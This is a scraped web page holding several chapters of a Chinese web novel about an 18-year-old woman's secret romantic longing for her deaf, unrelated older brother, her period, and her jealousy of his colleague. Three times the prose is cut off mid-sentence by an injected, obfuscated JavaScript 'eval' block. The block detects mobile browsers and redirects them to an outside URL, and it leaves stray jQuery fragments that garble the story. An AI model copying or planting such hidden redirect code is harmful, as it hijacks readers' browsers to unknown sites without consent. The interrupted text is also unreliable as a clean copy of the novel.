她咬了很大一口,饼里的牛肉和芝士露出来好多,谭禹扶住快要掉出来的牛肉丝,垂着眼睛看了很久,在谭溪疑惑的催促下,才顺着那个齿痕,也尝了一口。 得出的是和谭溪完全一样的评价。 谭溪艰难的吞咽下去,又眼巴巴的盯着他看。 谭禹舒展眉心,叹息:“我研究一下。” 谭溪欢呼雀跃,哥哥在她眼里是无所不能的,他做的一定好吃。 就像那道黑芝麻糊炖奶,当时也是排了很久的队,但味道平平,谭溪好失望。 直到几天后,谭禹变戏法一样端出一道自己做的,味道和卖相都比排队那家强上许多。 谭禹总是这样,知道她喜欢什么,想要什么,并全部满足她。 只是这次,她喜欢的是谭禹,哥哥也会满足她吗? 谭溪有好多好多话想说,她看着眉宇带冷但对她无限纵容的谭禹,又拉起他的手,放在自己的喉咙上,她说的很慢,很慢:“哥哥,你对我真好。” 人来人往的街道,被各种嘈杂的声音充斥,但谭禹的世界寂静无声。他唯一能听到的,只有手指上传来的酥麻和震动。 谭禹的眼底生起波澜,他用另一只手为谭溪拂开黏在嘴角的碎发,微微勾了下唇角,带着她往家的方向走。 你是我的妹妹。 所以我一定会对你好,所以我一次次的为你破例。 这是谭禹十二年前见到谭溪的第一面,就暗自许下的承诺。 5. 听不见 第二天早上,腹部传来的钝痛把谭溪叫醒,月经如期而至。 她烦躁的拽着被角,把脸埋在枕头里,全身都在痛。 她从来月经的第三年开始痛经,一直持续到现在,幸好这世上有止痛药可以救她小命。 身下传来一股暖流,谭溪不得已从软枕里翻出来,去了卫生间。 睡裤的后面已经沾了血渍,床单和被罩也未能幸免。 谭溪懊恼的咬咬唇,后悔自己的大意,也埋怨月经的提前。她的经期一向很准,这次提前或许跟昨天贪嘴吃的冰淇淋有关。 刚抱起要洗的一大堆东西,谭溪就撞上前来叫她起床的谭禹。 见她这副架势和蔫巴的脸色,谭禹还不明白发生了什么吗。 他接过谭溪手里的东西,又不忘抽出一只手揉揉她的脑袋,可能是因为今天太蔫儿了,他好像看到妹妹的炸毛又从柔软的头发下面钻出来几根,像霜打的花瓣,没精打采的耷拉着。 黏人的尾巴亦步亦趋的跟在谭禹身后,看着他把床单被罩扔进洗衣机,又把睡裤单独放在盆子里泡上。 谭禹无比顺手的做着这些,谭溪则按住他的手臂,放慢嘴唇闭合的速度,试图让他看清楚。 她说:“谢谢哥哥。” 谭禹目不斜视,两只手搓起裤子上的那片血渍:“小溪,如果因为这件事说谢谢,这段期间你只怕是要说个不停。” 谭溪有点不好意思的垂下脑袋。 初潮是在初二那年的暑假,那是一段只有她和哥哥在家的日子。 谭爸和方燕如做个小生意,常常要亲力亲为的去外地拿货,经常不在家,趁着放暑假,谭溪有人管,更是一口气跑到千里之外,家里自然而然的就只剩下兄妹俩。 那天上午谭溪就觉得很不对劲,胸口涨涨的,腹部也有沉甸甸的感觉,她知道关于月经的卫生知识,可那时没往上面想,只以为是夏日贪凉闹的肚子疼,直到看到内裤上的血迹,她才意识到自己来了月经。 这个在同龄人口中,需要捂着嘴巴说的少女心事。 妈妈不在,卫生间常备的卫生巾也没了,家里就只有不善言辞的哥哥,但谭溪却莫名不想让他看到自己的狼狈。 她不知道自己在拧巴什么,明明对她来说,接受哥哥的照顾早就成了一件理所当然的事。 她就那样在马桶上坐了很久,无助到眼泪浸湿衣领。 直到外面的人察觉这上厕所的时间未免太久,前来敲门询问,谭溪才扭扭捏捏的把门打开一道窄窄的缝隙,只露出一双眼睛,磕磕巴巴的说:“哥哥,我好像...来月经了,你能帮我买几包卫生巾吗。” 说完她害羞到抬不起头,自然也没能看到谭禹脸上一闪而过的无措。 她那年少老成,对所有事情都游刃有余的哥哥,也会因为妹妹的成长而感到无措。 谭禹很快就买回来卫生巾,他在售货员的帮助下挑选了最好的一款。 隔着门板递给她的时候,甚至贴心的问了句会不会使用。 谭溪还没傻到那种程度,她声如蚊哼的应了一句,逃一般的躲回卫生间。 在里面收拾好自己,她才推开门出来。 可是床单已经沾上了血渍,就连被罩上也有。 谭溪费力的把所有东西都拆下来,又抱着出去。 路上遇到谭禹,他把东西都接过来,然后很认真的看着谭溪说:“小溪,这些交给哥哥来做。我烧了热水,煮了鸡蛋,去休息吧。” 谭溪挠挠炸在耳朵边的头发,小声的说句:“谢谢哥哥。” 但事情远没有那么简单,无意弄脏的床单被罩只是个开始。谭溪的粗心和生疏日日都在重演,床上用品,睡衣,甚至是沙发上,她在到处侧漏。 她也尝试过完全包裹的安睡裤,可只穿了一会儿,大腿根部就会被磨出红色的小疹子,谭溪不敢再尝试,只能一次又一次的对哥哥说谢谢和抱歉,比她这些年加起来说过的都多。 因为那些衣物全是谭禹收拾的。 他不厌其烦的,收拾好所有谭溪需要清洗的东西,从经期的第一天,到最后一天。 那个年代的洗衣机远没有那么智能,还是那种老式双筒洗衣机,在清洗筒洗完之后要拖着沉沉的水换到烘干筒。后面实在太频繁,床单晾干的功夫远远跟不上谭溪的需求,谭禹就把单独的那片揪出来清洗,再晾干。 在这个过程中,谭溪没有见他有过半分不耐,他反而去安慰妹妹,说这都是再正常不过的情况,甚至从网上搜来一些经期内的注意事项让谭溪学习。 很奇怪,这是谭溪第一次为谭禹的善后而感到羞涩,也是第一次羞于启齿自己需要的帮助,明明她早就已经习惯了谭禹的照顾。 那年谭禹研二,处于人生中的最后一个暑假,也可以说,是青春期的尾巴,而谭溪,则在这个暑假迎来自己真正意义上的青春期。 很久之后,当她回忆起是什么时候对谭禹有了超出兄妹界限的感情,她才后知后觉的意识到,或许就是从那个太特别的夏天,她羞于启齿的帮助开始。 现在谭溪侧漏的情况好了很多,这次是没有防备,才会中招。 可看着哥哥低头清洗衣服的样子,还是让她想到那个特殊的假期。 她搬来一个凳子,坐在水池的边上,什么也不做,就乖乖的看着哥哥洗衣服。 谭禹侧目看她,唇角勾起很轻的弧度:“多大了?还要跟着哥哥屁股后面跑。” 说的是赶人的话,但其实谭禹对这套很受用,他巴不得包揽所有谭溪惹下的麻烦。 谭溪知道,她也乐于在谭禹面前表露。 她打字给谭禹看:“不管多大,都要黏着哥哥。” 不管多大,都要缠着哥哥,都要和哥哥永远在一起。 谭禹没说什么,把拧干水的裤子挂在晾衣架上,上面的小碎花被拧的皱皱巴巴,他又用手掌一下下的拍开,展平。 谭溪看着他手掌扇裤子的动作,莫名的,吞咽口水。 如果她说这个画面看上去很有感觉,会不会太变态了。她为自己的胡乱脑补感到羞耻,微微低下了头,可目光却又忍不住在他手臂上流连。 洗完衣服,谭禹去了厨房,他现在的手艺已经进阶到可以做出一些经期补充能量用的食物。 纵使不喜欢谭溪吃太多的糖,但在这种特殊时期,谭禹还是在饮品里加了致死量的糖,他闭上眼睛,在心里告诉自己一个月就这一次。 食物的温热和香甜混合在一起,让谭溪钝痛的小腹得到片刻的缓解。 她没骨头似的窝在沙发上,盖着小毯子,冲谭禹扬起脖子。 要喂。 谭禹从不允许任何人在他家除了餐桌以外的地方吃带汤水、碎屑、气味大的东西。但当他真实的看着谭溪,那些寸土不让的原则无论如何也说不出口了。 沙发上,谭溪窝成一团,谭禹在她的面前半弯着腰,用瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174723|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勺一口一口的喂着。 她连手都不用抬,只需要在勺子抵过来的时候,张开嘴巴,含下这口温度适宜的汤水。 饭来张口不足以形容谭溪在哥哥面前的万分之一。 一碗饭下肚,缓解的不仅仅是小腹的疼痛,还有谭溪那颗被痛经折磨的心。 喝完东西,谭溪抱着靠枕看综艺,谭禹坐在她的身边陪看。跟电视里浮夸的笑声比起来,他觉得妹妹被逗笑后脸颊上跳动的小雀斑好像更有趣。 药没有提前备好,谭溪的肚子还是好痛,她在不知不觉中挨上了谭禹的胳膊,肌肤相贴让她清楚感受到哥哥身上的热气 她渴望这份温暖,更渴望跟谭禹的贴近。 谭溪的手开始不老实,她从谭禹的胳膊里面穿过去,拉住他的大掌,掀开身上的毯子,最后贴合在小腹上。 跟缓解身体的不适相比,这种动作更多的作用是满足谭溪的心理。 可谭禹很快就把手拿了出去,他皱眉看向谭溪,微凸的触感在掌心挥之不去。 谭溪瘪起嘴角,打字给他看。 “为什么不可以,哥哥的手很暖和,我肚子好痛...” 谭禹坐直身子,和她拉开距离:“小溪,我是男人,你不能没有男女之别的概念。况且,人是恒温动物,我的体温不比你高多少。” 谭溪觉得很烦,她当然知道哥哥是男人,可那又怎样呢,她心里只有谭禹这一个男人啊。 她扭过头,不想跟他讲话,也不想再去看他。 谭禹无奈。十岁的年龄差让他一直都把谭溪当做一个小孩来看待,直到三年后再见到十八岁的她。无论是外在的变化还是心里的异样,都让谭禹清楚地认识到不能再用以前的方式对待她。 他一味的寻求改变,却全然没有顾虑到谭溪的心情。 在她眼里,哥哥的爱是不是发生了变化,哥哥是不是在推开她? 可十五岁和二十五岁,十八岁和二十八岁,是完全不同的两个概念。 他不可能再像以前那样,无所顾虑的拥抱她、爱护她。 这个过程需要两个人同样付出改变,但很显然,谭溪还没能察觉这些不同之处。 兄妹二人冷战好久,直到门又被敲响,谭溪才扭过来戳戳他的胳膊,指着门示意他去开。 到的是谭禹叫的外卖,他买了暖水袋和止痛药。 新买的暖水袋被清洗过后灌上满满的热水,谭禹把她放在谭溪的小腹上,温热的触感抚平谭溪敏感气急的神经。 止痛药也被他贴心的喂进谭溪嘴里,吃完药还要喂一颗糖,缓解药物的苦涩。 一套连招下来,谭溪气消不少,但更让她觉得消气的,是谭禹接下来的举动。 暖水袋放在小腹上,谭禹看着电视,把手掌覆盖在暖水袋上。 明明散发热源的是别的东西,可谭溪还是觉得,是哥哥在温暖她。 她一点都不生气了。她蹭过去,把脑袋搭在谭禹的胳膊上,又拉起他的手掌,放在自己的喉咙上,今天说话的声音很轻,很低。 她说:“哥哥,我好爱你。” 爱这个字的发音太独特,即使是不用手感受,用眼睛也能看到。 可谭禹还是觉得用手摸到的更为真实。 他想或许谭溪想明白了,无论方式发生怎样的变化,哥哥的爱一直都在。 但他却无法再像以前那样,把对她的爱宣之于口了,他只能在心里低声应和。 6. 听不见 一直到第四天,谭溪才从蔫儿巴的状态里面恢复过来,神清气爽的第一时间,她就要跑到冰箱面前去把没吃完的冰淇淋解决掉。 挖了满满一勺正要送入口中,手腕忽然被握住,粉色的冰淇淋硬生生的转了方向。 就着她的手,谭禹面无表情的把冰淇淋吞进口中。 谭溪委屈巴巴的看着他,发出一声重重的哼。 “欠收拾吗?感冒还没好干净就敢贪凉。”谭禹沉声说道,眉心微微拧起,极为不赞同谭溪这种顶风作案的行径。 谭溪对自己太好了,那口冰淇淋挖的很瓷实,所以谭禹一口吃下去后,嘴唇边都沾上了粉色的痕迹。 谭溪的目光从幽怨..变得有些痴迷。 她怔怔的伸出手指,剐蹭着哥哥唇边的残屑,然后把沾了冰淇淋的指头含在手中。 好甜,是草莓的味道,也是哥哥的味道。 谭禹根本没多想,以为她只是在馋冰淇淋,他无奈的叹口气,低声说:“小溪,你真是没救了。” 他自诩是个自控力极强的人,怎么被他养大的妹妹就是个被口腹之欲拴着走的小傻子呢。 没救了... 谭溪也觉得自己没救了… “哥哥,你大概不知道,喜欢你,我也觉得自己没救了...”谭溪低低的说着,她伸出指头,想要压在哥哥的嘴唇上,再尝尝他的味道。 谭禹自然不知道她在说什么胆大包天的话,他忍无可忍的抓住谭溪的手,把她拉到洗手台边,严厉的像手术室的巡回护士。 “洗手,洗干净了,哪学来的坏毛病,这么大人了还要舔手指头。” 谭溪,自然是不肯好好洗的。 她把手放在水龙头下面,随意的冲洗几下,就要离开,谭禹当然不允许,他把谭溪的手重新抓回来,站在她的身边,大掌包裹着她的。 肥皂的泡沫挤满两双手,滑嫩,细腻。 哥哥的手指上好像有薄薄的一层茧子,有点粗糙,一点点的刮着谭溪的心脏。 谭禹洗的没有半分狎昵的意味,他只是在很认真的洗手,就像谭溪小时候跑出去玩泥巴,把自己弄成小泥人,他负责给她清洗干净那样。 但谭溪就不那么觉得了,她耳朵在烧,脸颊也很滚烫,心脏也在重重的震颤。 原来跟哥哥十指相扣,是这么好的感觉。 就着肥皂的腻滑,她把指头插进哥哥的指缝,和他严丝合缝的贴在一起。 谭禹只当这是个顽皮的游戏,他把手抽出来,轻轻的拍打她一下,叮嘱说:“手上有很多细菌,以后一定不要再把手指含进嘴巴里,知道吗?” 纵使已经明白谭溪是个成年人,可刻在骨子里的习惯让谭禹跟她说话的时候,还是用上哄人的口吻,就像小时候一样。 谭溪点点头,嘴上却说:“哥哥的手最干净,如果是含哥哥的手指,是不是就不脏了呢?” 她又在说话,还是很长的句子,谭禹看不懂,只能疑惑的问:“嘀嘀咕咕说什么呢?” 谭溪把嘴巴抿起来,无辜的笑笑。 当然是在说怎么吃哥哥的手指头啊,可这又怎么能让哥哥知道呢。 洗完手,兄妹二人回到沙发。 只见谭禹在手机上好一阵敲打,过会儿抬头看她:“小溪,我有几个同事待会儿过来,你愿意见见他们吗,不愿意的话待在房间也可以。” 哥哥的同事?是来看望他的吗? 谭溪点点头,打字:“愿意。” 谭禹伸出手指,在虚空中轻点两下:“愿意的话,去把衣服穿好。” 谭溪脸一红,这些天来,在哥哥的纵容下,她已经完全不记得这茬,不穿内衣的感觉真的太舒服了... 谭禹说同事们很快就会到,谭溪只好猫着腰去卧室里穿衣服。 她脱掉外套和睡衣,拿着内衣往身上罩,套上以后,双手伸着往后面扣扣子,可今天这扣子就是要跟她作对,无论如何都扣不上。谭溪没办法,又去桌子上支起镜子,难受的扭着背,从镜子的折射面去找扣子。 折腾好久,没扣上就算了,还给她累的一脸汗。 在谭溪跟内衣大战八百回合的时候,谭禹已经收到同事们发来的消息,他们到小区门口了。 他不由得,把目光放向谭溪的卧室,她已经进去半个小时了,还没穿好吗? 或者是出什么事了? 摔倒..磕伤? 谭禹的脑子里一时间闪过好多危险的想法,他听不到,所以就算谭溪发出呼救的声音,也是无济于事。 心里忽然有点慌张,无数个可能扎堆似的往脑子里冒,这是谭禹第一次因为失聪感到恐惧。 他不能再坐以待毙,他从沙发上站起来,敲响紧闭的房门。 换了方法换了衣服后,谭溪还是没能成功,她又恢复最开始的形态,别着两只手背对着镜子扣扣子。 她很烦躁,什么时候nobar能兴起呢,男人裸着上半身都能被允许,女人露两个凸点都要再三思虑,好烦。 就在这时,门被敲响。 谭溪心里一震,手上的动作也随之停下来。 她知道,门外的人一定是哥哥,他一定是担心自己在屋里发生了什么,才过来敲门。 如果她不作出反应,哥哥会放弃敲门,推门而入。 她从镜子里看到自己被内衣挤着的沟壑,选择对敲门声充耳不闻,是哥哥先闯进来的,是哥哥推门而入的,至于会看到什么,那是哥哥的事啊。 她只是在费力的穿衣服,她太着急了,着急到听不见敲门声。 嗯,是这样。 无人问津的敲门声让谭禹彻底坐实不好的猜测,他几乎是迫切的推开了门。 可引入眼帘的不是任何他设想过的危险状况,而是... 谭溪暴露在空气中的,没有一丝瑕疵的后背和纤细的腰身,白色的棉质内衣搭在手臂上,有衣衫半解的旖旎,他甚至能通过侧身看到隆起的白腻。 谭禹选择果断的退后,关门,道歉。 “抱歉小溪,我不知道你在换衣服,对不起。” 门被关上,谭禹离开。 谭溪颤抖着手把滑落的肩带重新拉好,无人知晓,在哥哥说话的时候,那两个害羞的小珍珠从壳子里面钻出来,挺立在空气中。 那种感觉让人为之战栗。 谭溪觉得自己真的没救了,只是听到哥哥的声音,就... 她抱着没系好的内衣,在手机上给谭禹发消息。 “哥哥,我衣服后面的扣子一直扣不上,你能帮帮我吗,拜托你了。” 她耐心且急切的等待着哥哥的回复。 今天有客人造访,哥哥一定不会允许自己就这样见客,所以,他会来帮忙的吧。 谭溪拽拽头发,萌生出一点不好意思。 屏幕在几分钟后亮起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174724|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [我拿了件厚外套放在门口。] 谭溪知道,这是他的拒绝。 她沮丧的看着胸前混乱的衣服,烦躁的扯下来扔进柜子里。 讨厌,跟谭禹一样讨厌的坏东西。 尽管在出门之前,谭溪就已经穿好了衣服,但为了圆上那个谎,她还是套上了谭禹的厚外套。 在客人到访之前,谭禹低头把外套的扣子完全的扣好。 他又说了一次:“对不起,小溪。” 为他的莽撞和失礼,更为他的疏忽。 他真的因为那件无心之过而感到愧疚,谭溪有点心疼,她拉住谭禹的手,亲口对他说:“没关系的,哥哥。” 只要是哥哥,怎样都没关系。 谭禹为她的宽容感到心虚和罪恶,妹妹什么都不懂,天真的以为那个无心之举真的没事。 可谭禹自己清楚,刚才,他的视线应该在触及裸露的肩颈后就立刻停止收回的,而不是…用一种自己都无法理解的想法任凭眼睛流连到腰身。 兄妹二人各怀心事,直到门铃响了,谭溪拉着他的手,指指门口。 来的是两男一女,都是谭禹的同事,除了关心谭禹的病情,谭溪成了被问问题最多的人。 大概人人都喜欢逗小孩,尤其是谭溪这种看上去就很软萌的姑娘。 张倩倩捏着谭溪的脸蛋直呼可爱:“早听顾明一说谭禹有个妹妹,没想到这么可爱。” 剩下几个人亦是附和。 尤其是谭溪叫哥哥姐姐的时候,乖巧的样子能把人的心给萌化。 谭禹幽魂似的出现,面无表情把谭溪从张倩倩手边拉走,护在身后:“别捏我妹妹的脸。” 同事A精锐点评:“妹控。” 同事B则好奇的问:“你们差十岁啊,这跟养个闺女有啥区别,不过妹妹,你跟老大是一个像爸爸一个像妈妈吧。” 谭禹眼睛狭长,眉骨高,薄唇,浑身上下一股子生人勿进的气质,而妹妹的眼睛是标准的杏眼,嘴唇也有点嘟嘟的模样,看着就很好捏。 总而言之,是完全不像的兄妹。 谭溪没有解释,她不想刻意提起他们并不是亲兄妹这件事。兄妹关系是个无形的羁绊,这个羁绊将她和哥哥牢牢的锁在一起,如果不是兄妹,她和哥哥又怎会有相识相伴的机会,那是他们缘分开始的起点,她一点都不想否认。 她有时候甚至想他们要是亲兄妹就好了,刻在骨血里的羁绊从生下来的那刻起就天然存在。 再进一步说,如果他们是亲兄妹,无论她做了什么,谭禹都不可能离开她。 谭禹听不到,多数都是谭溪在跟他们聊天,偶尔的几句会语音转文字给谭禹看。 谭禹看谭溪被逗的满面笑容,也就没说什么,他知道自己性子闷,说不来有趣的话,所以小溪跟他待久了,会无趣,有人陪她解闷,是件好事。 话聊到一半,张倩倩看着手机上的消息说:“啊,景怡快到了,我去接她!” 同事A揶揄的看向谭禹:“你去干啥,让老大去啊。” 张倩倩瞪他:“老大这情况能接人?开什么玩笑!” 几人说说笑笑。 谭溪脸上的笑容一点一点的僵下来,上下牙齿咬在一起打颤,她敏锐地感觉到,这个叫jingyi的人,一定跟哥哥有不同寻常的关系。 哥哥不是说,没有女朋友吗。 骗人。 7. 听不见 张倩倩把廖景怡接上来,她是个很漂亮的女人。 成熟的波浪卷发被精心打理过,一字肩上衣露出优越的肩颈,身上有好闻的,淡淡的玫瑰香气。 明知谭禹听不到,可廖景怡还是先跟他打招呼,她先用嘴巴说一遍,又把打好的字给谭禹看。 其他人自觉地后退,把空间留给两人,脸上带着看戏的笑。 这一幕像极偶像剧里的男女主角。 谭溪看着凑在一起的两人,抓紧外套的下摆,也不自觉的,退后一步和看戏的人站在一起。 她在玄关的换衣镜里看到自己的模样。 因为高温软化变得有些发黄的头发,不合身的外套,还有脚上那双幼稚的库洛米凉拖。 她从不觉得自己哪里差劲,可看着跟谭禹完全相配的廖景怡,再看看自己,一种突如其来的狼狈几乎要将她压垮,她想不管不顾的跑进房间埋进被子里,做只不问世事的鸵鸟。 她也不想再喜欢谭禹了。 廖景怡的目光终于放到了人群之后那个小姑娘身上,张倩倩热心的介绍:“这是老大的妹妹,小溪。” 玫瑰香气在鼻息间变得浓烈,谭溪看到廖景怡走近她,微微弯下腰,和她平视,唇角勾起的弧度恰到好处:“妹妹你好,我是廖景怡,你哥哥的同事。” 和她的从容相比,谭溪就有些力不从心了,她轻笑着点点头,没再说什么。 跟刚才面对张倩倩等人的活泼不太一样,谭禹拧了拧眉,落在人群后面。 他们来的时间恰好是饭点,谭禹在手机上叫了饭菜。 一群人围坐在餐桌边,一边聊天一边吃饭。话题大多关于工作,可他们说的...云里雾里,谭溪听不太懂,以为那些隐瞒可能是商业机密。 廖景怡坐在谭禹的身边,时不时的参与众人的话题,但更多精力放在身边人的身上。 谭禹无声吃饭,看上去对这些话题并不感兴趣,最多是在廖景怡拿着手机问东西的时候简单回答两句。 谭溪不得不承认,廖景怡跟其他同事是不一样的。她低头,戳着碗里的米饭,提不起半点儿食欲。 跟哥哥同住以来,一直都很愉悦的心情变得有点糟糕。 廖景怡让她产生了危机感...和一些讲不清的自卑。 面对完美无缺的她,谭溪生不出任何讨厌的情绪,她甚至向往廖景怡的状态,她是那样游刃有余,不像她,像个误入大人世界的孩子,幼稚又可笑。 碗里被放进一块挑好刺的鱼肉,谭溪愣着抬头,看到哥哥冷峻的侧脸,他被廖景怡拉着看手机上的东西,手上却在分神照顾她。 最讨厌三心二意的人。 谭溪抿嘴,把那块鱼肉推的远远的,她自顾自的扒起米饭,塞满自己的口腔,和空落落的心脏。 “等公司发了内部公告,我去李舟家一趟。”谭禹回答完廖景怡的问题,转头看到低着头埋头干饭的谭溪。 他神色顿住,眉头皱得更深。 谭溪生气就是这样,任谁说话都不理,沉浸在自己的世界里一声不吭。 为什么? 他扫视一眼桌上的人,心里隐约有了答案。 和廖景怡的对话暂告一段落,谭禹拿出手机,淡声询问:“喝水吗?我来点。” 当下就有人起哄,同事A说:“我们来了那么久都没口水喝,怎么景怡一来,饭到了水也有了,老大你不要太双标!” 谭溪表情愤愤,抽出一个眼神瞪向谭禹,接着又挖了一大口米饭塞进嘴里,把嘴巴塞得满满当当。 谭禹听不到啊,他把手机给廖景怡,说:“点完传递。” 这一行为又引起一阵狼叫。 “啊啊啊,真是沾了景怡的光...话说老大你俩进度如何,有信心拿下我们公司的高岭之花吗?” 廖景怡喜欢谭禹,是人尽皆知的事,她的大方追求很为自己博好感,谭禹也同意跟她试着接触看看。谭禹平时不苟言笑,这次他们趁着谭禹听不到,一个劲儿往他身上扯八卦。 廖景怡笑着耸肩:“八字还没一撇呢。” 谭禹这个人远比她想象中要冷的多,两个人也不过是多说了几句话,离成事还有很长一段路要走,但她有信心。 谭溪吞咽完米饭的口腔,再一次被塞满,她挖了比刚才更大的一勺塞入口中,试图阻隔他们口中的调侃。 她好伤心,听到哥哥跟别人的绯色流言,真的好伤心。 最伤心的是谭禹对廖景怡特别的态度。 他喜欢她吧。 手机被传递到最后一个人,也就是谭溪手中。 张倩倩看着她沉默的小模样还问呢:“妹妹你怎么不吃菜呢?不合胃口吗?” 此言一出,关切的目光全都凝结在她身上,谭溪有些难以应对这种注视,无措的摆摆手:“不是..我...喜欢吃大米饭。” 湿漉漉的黑色瞳孔,配上她一本正经的解释,顷刻就逗笑桌上的几个人,廖景怡掩唇轻笑:“果然是兄妹,谭禹也喜欢吃米饭。” 谭溪放在桌下的手攥紧,忍着没说话。 吃饭的喜好也了解,她也很喜欢哥哥吧。 他们两情相悦。 谭溪什么都没点,头也不抬的把手机扔给谭禹,继续埋头跟她的米饭斗智斗勇。 她才不要喝谭禹点的水,她有米饭就够了。 谭禹看看空落落的点单页面,心下了然,他收起手机,拿起自己的筷子,给谭溪夹菜:“不要只吃米饭,肉跟菜也得多吃。” 有人附和:“就是,妹妹这么小,还得长身体呢。” 谭溪下意识的回复一句:“我已经十八岁了...” 我已经长大了,我不是小孩子。 可这话很快被淹没在说笑声中。 谭禹看到她嘴唇轻动,自己却什么都听不到,这让他感到一阵莫名的烦躁。他忽然把手掌覆盖在她的脖子上,冷淡的眼睛盯着她问:“你说什么。” 谭溪愣住,手心攥的更紧,哥哥怎么能..当着这么多人的面对她做出这样的举动? 她感受到自己的脸颊在无可救药的泛红,她用眼珠打量别人的目光,发现除了她自己,没人觉得这种行径过分亲密。 是了,在他们眼里,她和哥哥是亲兄妹,所以无人怀疑。 谭溪说不上是庆幸还是遗憾,心情很复杂。 谭禹又问一遍,冷肃的眉眼带了些压迫的意味:“刚才说什么?” 谭溪上前蹭蹭,把声带压在他手上,一字一顿:“我说,我不是小孩子了。” 她用眼睛锁住谭禹脸上每一个微小的表情,试图在那上面找到不同寻常的痕迹,可他却只是松开了手,微微扬起唇角说:“在哥哥心里永远都是。” 他怎么能这样想… 谭溪有些沮丧的推开他的手,低头吃饭。 廖景怡在伸着胳膊夹菜,距离很远,很不方便,谭禹顺手用公筷夹起一块鸡肉放进她的碗碟中。 同事A打趣的对象换成了谭溪:“妹妹啊,说不定下次见到景怡姐姐,你就要改口叫嫂子了。” 谭溪抬起头,略显尴尬的看向廖景怡,她频频用带着羞意的目光看向谭禹,在同事口中,他们似乎是天造地设的一对。 “别听他们瞎说哦。”廖景怡对谭溪解释,她清楚,这只是谭禹刻在骨子里的修养。她比谁都明白,她和谭禹的进展比乌龟爬都慢。这群人也不过是趁着谭禹听不到瞎起哄。 谭溪的心彻底的沉入谷底,她机械性的吞咽着米饭,味同嚼蜡。 谭禹看到对话框里骑手发来的消息,对谭溪说:“楼下门锁了,你们先吃,我跟小溪下去拿水。” 廖景怡紧跟着出言:“我去吧,妹妹留下继续吃饭。” 谭溪放好筷子,笑的乖巧又端庄:“还是我去吧,姐姐你留下吃饭。” 再怎么说,他们也是客人。 说着,她扯起谭禹的袖子,俩人一高一矮的离开。谭溪心里憋着气,转身的时候就甩开了手,离他很远,而谭禹,则挪动脚步,靠近她的身侧,又张开手臂,亲自把妹妹揽在身边。 一个在逃,一个在追,谭禹的手掌抚过她的头发,顺毛的动作做的很顺手。 宽大的男士衣服套在谭溪身上,盖住大半个身子,只露出两条套着碎花睡衣的腿。 廖景怡看着这亲密的一幕,鬼使神差的问:“妹妹的名字是...” “谭溪啊。” “哦。” 谭禹,谭溪,一听就是亲兄妹,她放下心,为自己那一瞬间的猜测感到可笑。 有客人在,谭溪给他留几分面子,等家门关上,谭溪立刻离他八丈远,可又顾虑到他的耳朵,只得窝窝囊囊再靠近几分。 谭禹扬眉,压下笑意,声音低沉:“今晚话这么少,是家里人太多不适应吗?” 妹妹小时候是个小霸王,但长大后却变得内敛,总喜欢窝在自己的小世界,跟一群陌生人,还是比自己大那么多的陌生人待在一起,觉得不适应是很正常的现象。 怪他耳朵不好,没能顾好妹妹。 谭溪从垂着的头发里露出黑白分明的眼睛,悄悄瞪他一眼,又转过身去不说话。 谭禹叹口气,掰过她的身子,弯了腰,看着她的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174725|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,语气放轻:“还是说,在生我的气?” 他荒谬的想,难道是因为他拒绝的帮助? 听他这样问,谭溪反而有点想哭,因为她发现自己无法坦言心里的难过,她没有任何立场和资格去吃廖景怡的醋,哥哥跟别人恋爱、结婚,这都是很正常的事情,是她无法阻止的事情。 兄妹身份是羁绊,也是枷锁,捆绑着她全身的每一处关节,让她无法宣泄那份超出界限的爱恋。 泪水夺眶而出,谭禹有些慌神,他曲指擦去谭溪的泪滴,滚烫的温度烧灼他的皮肤,让他感到难以言喻的艰涩。 他最怕的,是妹妹的眼泪:“小溪,到底怎么了,是身体不舒服吗?” 谭溪揪住他的衣角,埋进谭禹怀里,哭的很凶,把所有委屈和难过都发泄出来。 谭禹感受到泪水打湿身体,可谭溪还是什么都不肯说,他只能就这样抱着她,手掌在她背后慢慢轻抚:“小溪乖,不哭了,有什么事告诉我。” 所谓的距离和界限,统统要为谭溪的脾气让步。 谭溪啜泣着,在手机上打字给他看:“哥哥,你一点都不爱我了,你点奶茶最后一个才想起我,你心里只有景怡姐。” 原来是因为这个... 谭禹感到哭笑不得,揉着她的脸颊解释:“他们是客人,这是基本的待客之道。还有,我跟廖景怡只是同事,哪有你说的那么严重。” “可他们都说你们在谈恋爱。” “我们没有在谈恋爱,但的确在接触中,我马上三十岁了,到了考虑婚恋的年纪。” 谭溪又问:“那你喜欢她吗,想到她会心跳加速吗,会有想要吻她的冲动吗。” 她近乎自虐的打出这些,她有一瞬间希望自己也听不到,她有点害怕谭禹的回答。 